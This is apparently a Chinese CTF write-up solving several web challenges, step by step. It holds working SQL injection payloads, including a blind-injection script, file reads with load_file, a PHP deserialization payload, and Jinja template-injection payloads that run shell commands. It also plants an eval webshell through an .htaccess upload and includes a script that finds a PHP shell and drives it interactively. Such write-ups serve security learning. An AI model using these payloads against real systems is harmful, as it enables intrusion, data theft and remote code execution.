resp = session.post(url=url,data=data)
print(resp.status_code)
if "girlfriend" in resp.text:
return True
return False

print("--"*70)
print("processing the {}th char now.... ".format(i))
low = 32
high = 127
while low < high:
mid = (low + high)>>1
if what_i_want_i_less_than_or_equal_mid(mid):
high = mid
else:
low = mid + 1
print("{}th request completed!!!".format(count))

if low==32:
break
what_i_want+=chr(low)
print(what_i_want)
count = 0

print("!!"*70)
print("This is What You Want!!!!!!!!!!")
print(what_i_want)

不知道为什么在windows下面跑得好慢,所以就放到虚拟机的ubuntu上去跑

image-20210203215722076

1
flag{3ea4b221-9173-4fe2-b926-b7872ea73003}

0x21[极客大挑战 2019]HardSQL

1
?username=admin&password=1'or(1)%23

image-20210203220155379

登录成功,但是没有任何回显

有syntax error 的报错,估计可以报错注入

and 被拦截,空格被拦截,等于号=被拦截

1
?username=admin&password=1'or(extractvalue(1,concat(0x7e,user(),0x7e)))%23

image-20210203221501744

1
?username=admin&password=1'or(updatexml(1,concat(0x7e,(SELECT(group_concat(TABLE_NAME))FROM(information_schema.TABLES)WHERE(`table_schema`like(database())))),0x7e))%23

image-20210203223525229

得到表明

1
H4rDsq1

得到这个表的字段

1
id,username,password
1
?username=admin&password=1'or(updatexml(1,concat(0x7e,(SELECT(group_concat(password))FROM(H4rDsq1))),0x7e))%23

image-20210203232243420

1
flag{8d4b1187-b167-49c6-9030-37

但是不够长,所以没法把flag全部打印出来

试试看用substr把后面的给打印出来

1
?username=admin&password=1'or(updatexml(1,concat(0x7e,(substr(SELECT(group_concat(password))FROM(H4rDsq1))),0x7e))from(30)for(20))%23

但是substr被拦截

尝试了一下,发现mid也被拦截了,但是right能用

1
?username=admin&password=1'or(updatexml(1,concat(0x7e,(right((SELECT(group_concat(password))FROM(H4rDsq1)),20)),0x7e),1))%23

image-20210203234124385

1
6-9030-370888952288}

所以flag连起来

1
flag{8d4b1187-b167-49c6-9030-370888952288}

0x22 [网鼎杯 2018]Fakebook

随便join一个

1
2
3
4
admin
admin
2
www.baidu.com

image-20210203235105109

看到用iframe把百度网页爬下来了

用到了view.php,不用?no直接访问,得到报错

image-20210204000016481

no是一个注入点

闭合

1
?no=1%23

而且还可以报错syntax error

成功注入

image-20210204000640336

可以看到,用到了unserialize,目录是 /var/www/html/view.php

而且下面的blog content是调用了一个类的函数 getBlogContents()

不能写文件

image-20210204001305956

用load_file来读文件

1
?no=0 union/**/select 1,load_file("/var/www/html/index.php"),3,4%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php

$flag = "FLAG{flag is in your mind}";

$db = new DB();
$user = new UserInfo();

?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Fakebook</title>

<?php include 'bootstrap.php'; ?>

</head>
<body>
<div class="container">
<h1>the Fakebook</h1>
<?php

if (!isset($_SESSION['username'])) {
$message = "<div class='row'>";
$message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>";
$message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>";
$message .= "</div>";

echo $message;
}


?>
<p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p>

<table class="table">
<tr>
<th>#</th>
<th>username</th>
<th>age</th>
<th>blog</th>
</tr>
<?php

foreach ($db->getAllUsers() as $user)
{
$data = unserialize($user['data']);

echo "<tr>";
echo "<td>{$user['no']}</td>";
echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>";
echo "<td>{$data->age}</td>";
echo "<td>{$data->blog}</td>";
echo "</tr>\n";
}

?>
</table>
</div>
</body>
</html>
</td>
1
?no=0 union/**/select 1,load_file("/var/www/html/view.php"),3,4%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php

$db = new DB();

?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>User</title>

<?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php

$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}

$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);

?>
<div class="container">
<table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php echo $res['username']; ?>
</td>
<td>
<?php echo $user->age; ?>
</td>
<td>
<?php echo xss($user->blog); ?>
</td>
</tr>
</table>

<hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<?php

$response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
}

else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
}

// var_dump($user->getBlogContents());
?>

</div>
</body>
</html>
1
?no=0 union/**/select 1,load_file("/var/www/html/user.php"),3,4%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
1
?no=0 union/**/select 1,load_file("/var/www/html/db.php"),3,4%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php

require_once 'lib.php';
$mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook');

class DB {

function __construct() {
// $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook');
}

public function isValidUsername($username) {
global $mysqli;
$query = "select * from users where username = '{$username}'";
$res = $mysqli->query($query);
if (!$res->fetch_array()) {
return 1;
} else {
return 0;
}

}

function login($username, $passwd) {
global $mysqli;

$username = addslashes($username);
$passwd = sha512($passwd);
$query = "select * from users where username = '{$username}' and passwd = '{$passwd}'";
$res = $mysqli->query($query);

return $res->fetch_array();
}

function insertUser($username, $passwd, $data) {
global $mysqli;

$username = substr($username, 0, 100);
$username = addslashes($username);
$passwd = sha512($passwd);
$data = serialize($data);
$data = addslashes($data);

$query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')";
return $mysqli->real_query($query);
}

public function getAllUsers() {
global $mysqli;

$query = "select * from users";
$res = $mysqli->query($query);
return $res->fetch_all(MYSQLI_ASSOC);
}

public function getUserByNo($no) {
global $mysqli;

// $no = addslashes($no);
$query = "select * from users where no = {$no}";
$res = $mysqli->query($query);
if (!$res) {
echo "<p>[*] query error! ({$mysqli->error})</p>";
}

return $res->fetch_assoc();
}

public function anti_sqli($no) {
$patterns = "/union\Wselect|0x|hex/i";

return preg_match($patterns, $no);
}

}

/*
CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM;

*/

好像都没什么用,猜测一下可能有flag.php吧

1
?no=0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4%23

image-20210204003143764

没想到真的有

1
flag{78c351cc-c597-46c8-abbb-67df2a9ac714}

0x23 [GXYCTF2019]BabySQli

有一段base32

1
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

解码后是个base64编码

再解码,最后得到

1
select * from user where username = '$name'

猜测一下后端代码

1
2
3
4
5
6
7
8
$name = $_POST["name"];
$sql = "select * from user where username = '$name'";
$result = mysql_query($sql);
$pw = $_POST["pw"];
$row = mysql_fetch_array($result);
if($pw == $row["password"]){//可能是 $row[0]、$row[1]、$row[2]
loginsuccess();
}
1
name='union select 1,'admin',3%23&pw=1

image-20210204092345673

可能1或3的位置是password

1
name='union select 1,'admin',1%23&pw=1

但是这样并不生效,还是wrong pass

image-20210204092420021

猜测可能是先对 $pw 进行了加密运算,然后其结果和 $result["password"] 进行比较

常见的是md5加密,试试看

1
name='union select 'c4ca4238a0b923820dcc509a6f75849b','admin','c4ca4238a0b923820dcc509a6f75849b'%23&pw=1

image-20210204092710639

得到flag

1
flag{d227c1da-2a41-4186-adf3-86fcec68ffd8}

0x24 [网鼎杯 2020 青龙组]AreUSerialz

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}


if(isset($_GET['str'])) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

传入str,str要满足每个字符都在 chr(32)到chr(125)之间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

虽然是protected,但是不用管,直接写个public属性的,到时候如果访问相同名字的属性会优先访问public的

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";i:0;}

image-20210204095637181

1
flag='flag{a83f55a7-3cc9-4419-847e-543f729e7d4b}

0x25 [BJDCTF 2nd]fake google

1
http://72ed6887-d4ef-42da-9c45-4f5bf3b0c751.node3.buuoj.cn/qaq?name={{3-1}}

image-20210204100805656

有模板注入,而且是python的

先看看所有类

1
{{().__class__.__mro__[1].__subclasses__() }}

image-20210204104546442

写个脚本看看哪个类有osfile__builtin__

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
from time import sleep
session = requests.session()
url = "http://72ed6887-d4ef-42da-9c45-4f5bf3b0c751.node3.buuoj.cn/qaq"

module_os = "<module 'os'"
module_file = "<module 'file'"
module_builtin = "__builtins__"
modules = [module_os,module_file,module_builtin]
stop = False
for i in range(100):
if stop:
break
payload = "{"+"{().__class__.__mro__[1].__subclasses__()["+str(i)+"].__init__.__globals__}"+"}"
print("processing the {}th subclass ".format(i),"--"*70)
params = {"name":payload}
resp = session.get(url=url,params=params)
print(resp.status_code)
while resp.status_code==429:
print("429 !!! sleep(3)")
sleep(3)
resp = session.get(url=url,params=params)
print(resp.status_code)
if resp.status_code==200:
print(resp.text)
for m in modules:
if m in resp.text:
print(payload,"**"*70)
print("I found",m,"!!!")
stop = True
break
else:
print("something goes wrong")
if not stop:
print("nothing found","~~"*70)

image-20210204114237858

找到了__builtins__,调用os模块

1
{{().__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

image-20210204114357385

1
{{().__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

image-20210204114436391

1
flag{2ac5e2e3-a916-42c4-aeb5-2d3f4a484436}

或者用for和if语句

1
{% for s in ().__class__.__mro__[1].__subclasses__() %}{% if '__builtins__' in s.__init__.__globals__ %}{{ s.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}<hr>{% endif %}{% endfor %}

image-20210204115639431

1
{% for s in ().__class__.__mro__[1].__subclasses__() %}{% if '__builtins__' in s.__init__.__globals__ %}{{ s.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}<hr>{% endif %}{% endfor %}

image-20210204115718437

0x26 [MRCTF2020]你传你🐎呢

image-20210204120637110

把content-type改了

看来对后缀有过滤,出现ph就被拦截

image-20210204121400208

用到了move_uploaded_file

从/tmp/php1BQdTg转移

image-20210204121621097

发现报错

image-20210204123728821

用的是apache,试试看写.htaccess文件

1
2
3
4
filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .jpg

image-20210204123918415

1
/var/www/html/upload/520b73e6a2bb9fe742c7aa237c2307a3/.htaccess
1
2
3
4
5
6
filename="geach.jpg"
Content-Type: image/jpeg

<?php
eval($_GET['kkk']);
?>

image-20210204124034424

1
/var/www/html/upload/520b73e6a2bb9fe742c7aa237c2307a3/geach.jpg
1
geach.jpg?kkk=var_dump(scandir("/"));

image-20210204124200696

1
geach.jpg?kkk=var_dump(file_get_contents("/flag"));

image-20210204124251830

1
flag{782cce2b-fb73-4cdf-ad11-6ddbc902226b}

0x27 [GYCTF2020]Blacklist

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

image-20210204163103955

发现要绕过这些东西

报错注入

1
?inject=1'AND+extractvalue(1,concat(0x7e,user(),0x7e))%23

image-20210204163334636

user

1
root@localhost

database

1
supersqli

可以堆叠注入

1
?inject=3';show+databases;%23

image-20210204163747452

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<hr>array(1) {
[0]=>
string(11) "ctftraining"
}
<br>array(1) {
[0]=>
string(18) "information_schema"
}
<br>array(1) {
[0]=>
string(5) "mysql"
}
<br>array(1) {
[0]=>
string(18) "performance_schema"
}
<br>array(1) {
[0]=>
string(9) "supersqli"
}
<br>array(1) {
[0]=>
string(4) "test"
}

看看supersqli这个库的表

1
?inject=3';show+tables+from+supersqli;%23
1
2
3
4
5
6
7
8
<hr>array(1) {
[0]=>
string(8) "FlagHere"
}
<br>array(1) {
[0]=>
string(5) "words"
}

直接用handle来读表

image-20210204163941170

1
?inject=3';handler+FlagHere+open+as+A;handler+A+read+first;%23

image-20210204164342057

1
flag{2d9a4e41-62ab-4a8d-a2ce-171b17b388bf}

0x28 [强网杯 2019]高明的黑客

下载网站源码

看了一下,人都傻了

image-20210204171428311

但是里面有很多的system、eval这样的函数

所以写个脚本试试看哪一个才是真正的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
import os
import re
from time import sleep
url = "http://593bc93c-a8cb-4b4d-9100-296755309720.node3.buuoj.cn/"
session = requests.session()
files = os.listdir(path="./src")
files.reverse()
stop = False
i = 0
get_pattern = re.compile("\$_GET\['.*'\]")
post_pattern = re.compile("\$_POST\['.*'\]")

def interactive(url,method,keys):
while True:
if method == "get":
payload = input()
params = {key:payload for key in keys}
resp = session.get(url=url,params=params)
print("**"*70)
print(resp.status_code)
print("**"*70)
print(resp.text)
print("**"*70)
elif method == "post":
payload = input()
data = {key:payload for key in keys}
resp = session.post(url=url,data=data)
print("**"*70)
print(resp.status_code)
print("**"*70)
print(resp.text)
print("**"*70)


for fi in files:
if stop:
break
print("--"*70)
print("processing the {}th file".format(i))
print(fi)
i = i + 1
with open("./src/"+fi,encoding="utf-8") as f:
content = f.readlines()
get_param_names = []
post_data_names = []
for cmd in content:
if re.search(get_pattern,cmd):
get_param_name = re.findall(get_pattern,cmd)[0]
get_param_name = get_param_name[7:-2]
get_param_names.append(get_param_name)
elif re.search(post_pattern,cmd):
post_data_name = re.findall(post_pattern,cmd)[0]
post_data_name = post_data_name[8:-2]
post_data_names.append(post_data_name)
#get
params = {p:"echo 'hello';" for p in get_param_names}
resp = session.get(url=url+fi,params=params)
print(resp.status_code)
# print(resp.text)
while resp.status_code==429:
print("429 !!! sleep(3)")
sleep(3)
resp = session.get(url=url+fi,params=params)
print(resp.status_code)
if "hello" in resp.text:
print("I found it !!!!!!")
print("**"*70)
print(url+fi+" is your loved one!!!")
interactive(url=url+fi,method="get",keys=get_param_names)

#post
data = {d:"echo 'hello';" for d in post_data_names}
resp = session.post(url=url+fi,data=data)
print(resp.status_code)
while resp.status_code==429:
print("429 !!! sleep(3)")
sleep(3)
resp = session.post(url=url+fi,data=data)
print(resp.status_code)
if "hello" in resp.text:
print("I found it !!!!!!")
print("**"*70)
print(url+fi+" is your loved one!!!")
interactive(url=url+fi,method="post",keys=post_data_names)
# stop = True

image-20210204213131567

简单说一下我写的这个脚本

从每个php文件中找到所有$_GET$_POST,然后进行两次请求,一次是get,并把所有get参数都设为 echo 'hello';第二次是post也是把所有 post 参数都设为 echo 'hello',然后如果在resp.text中发现hello,就开始进行交互

image-20210204213242911

1
flag{f48aa2f8-d924-41d2-91f9-c7bdb1ad321f}